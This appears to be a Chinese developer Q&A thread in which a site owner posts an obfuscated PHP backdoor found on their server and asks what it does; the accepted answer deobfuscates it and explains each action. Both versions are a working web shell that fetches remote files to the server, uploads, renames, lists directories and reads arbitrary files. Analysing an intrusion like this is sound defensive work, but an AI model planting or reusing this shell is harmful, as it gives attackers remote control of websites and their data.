网站被植入后门代码

御宅男小春子
  • 229

代码如下 有哪位大神告诉下这代码大概的含义 这玩意每天把我index.php加入一段彩票代码

<?php error_reporting(0);
$sr = "st" . /*+/*+*/"rr" /*+/*+*/ . "ev";
$id = $sr/*+/*+*/("ri" . "d_" . "si");
$rn = $sr/*+/*+*/("em" . "an" . "er");
$dn = $sr/*+/*+*/("em" . "anr" . "id");
$od = $sr/*+/*+*/("ri" . "dne" . "po");
$rd = $sr/*+/*+*/("ri" . "dda" . "er");
$cd = $sr/*+/*+*/("ri" . "deso" . "lc");
$fpc = $sr/*+/*+*/("stn" . "etn" . "oc_t" . "up_e" . "lif");
$fgc = $sr/*+/*+*/("stn" . "etn" . "oc_t" . "eg_e" . "lif");
$muf = $sr/*+/*+*/("eli" . "f_d" . "eda" . "olp" . "u_e" . "vom");
$dlform = '<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>';
$ulform = '<form method="post" enctype="multipart/form-data"><input name="uf" type="file">SP:<input name="sp" size="50" type="text"><input type="submit" value="ok"></form>';
$rnform = '<form method="post">ON:<input name="on" size="50" type="text">NN:<input name="nn" size="50" type="text"><input type="submit" value="ok"></form>';
$lpform = '<form method="post">DP:<input name="dp" size="50" type="text"><input type="submit" value="ok"></form>';
$sfform = '<form method="post">DF:<input name="df" size="50" type="text"><input type="submit" value="ok"></form>';if ($_GET['act'] == 'dl') {echo ($dlform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$fpc/*+/*+*/($_POST['fn'], $fgc/*+/*+*/($_POST['url']));}
    exit;}if ($_GET['act'] == 'ul') {
    echo ($ulform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$sp = empty($_POST['sp']) ? './' : $_POST['sp'] . '/';
        $muf/*+/*+*/($/*+/*+*/{"_F" . "IL" . "ES"}["uf"]["tmp_name"], $sp . $/*+/*+*/{"_F" . "IL" . "ES"}["uf"]["name"]);}
    exit;}if ($_GET['act'] == 'rn') {echo ($rnform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$rn/*+/*+*/($_POST['on'], $_POST['nn']);}
    exit;}if ($_GET['act'] == 'gp') {echo ($dn/*+/*+*/(__FILE__));exit;}if ($_GET['act'] == 'lp') {
    echo ($lpform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$dp = $_POST['dp'] . '/';
        $h = $od/*+/*+*/($dp);while (($fn = $rd/*+/*+*/($h)) !== false) {if ($id/*+/*+*/($dp . $fn)) {$t1 .= 'D&nbsp;' . $fn . '<br>';} else { $t2 .= '&nbsp;&nbsp;' . $fn . '<br>';}}
        $cd/*+/*+*/($dp);
        echo ($dp . '<br>' . $t1 . $t2);}
    exit;}if ($_GET['act'] == 'sf') {
    echo ($sfform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$df = $_POST['df'];
        echo ('<textarea style="width:100%;height:100%;" wrap="off">' . $fgc/*+/*+*/($df) . '</textarea>');}
    exit;}
回复
阅读 2.8k
1 个回答
上官元恒
  • 8.6k
✓ 已被采纳
error_reporting(0);
if($_GET['act'] == 'dl')
{
    echo ('<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        file_put_contents($_POST['fn'], file_get_contents($_POST['url']));
    }
    exit;
}
if($_GET['act'] == 'ul')
{
    echo ('<form method="post" enctype="multipart/form-data"><input name="uf" type="file">SP:<input name="sp" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        $sp = empty($_POST['sp']) ? './' : $_POST['sp'] . '/';
        move_uploaded_file(${"_FILES"}["uf"]["tmp_name"], $sp . ${"_FILES"}["uf"]["name"]);
    }
    exit;
}
if($_GET['act'] == 'rn')
{
    echo ('<form method="post">ON:<input name="on" size="50" type="text">NN:<input name="nn" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        rename($_POST['on'], $_POST['nn']);
    }
    exit;
}
if($_GET['act'] == 'gp')
{
    echo (dirname(__FILE__));exit;
}
if($_GET['act'] == 'lp')
{
    echo ('<form method="post">DP:<input name="dp" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        $dp = $_POST['dp'] . '/';
        $h  = opendir($dp);while(($fn = readdir($h)) !== false)
        {
            if(is_dir($dp . $fn))
            {
                $t1 .= 'D&nbsp;' . $fn . '<br>';
            }
            else
            {
                $t2 .= '&nbsp;&nbsp;' . $fn . '<br>';
            }
        }
        closedir($dp);
        echo ($dp . '<br>' . $t1 . $t2);
    }
    exit;
}
if($_GET['act'] == 'sf')
{
    echo ('<form method="post">DF:<input name="df" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        $df = $_POST['df'];
        echo ('<textarea style="width:100%;height:100%;" wrap="off">' . file_get_contents($df) . '</textarea>');
    }
    exit;
}

act=dl
下载远程文件
act=ul
上传文件
act=rn
重命名文件
act=gp
读取当前目录
act=lp
读取目录文件列表
act=sf
读取文件内容

撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
宣传栏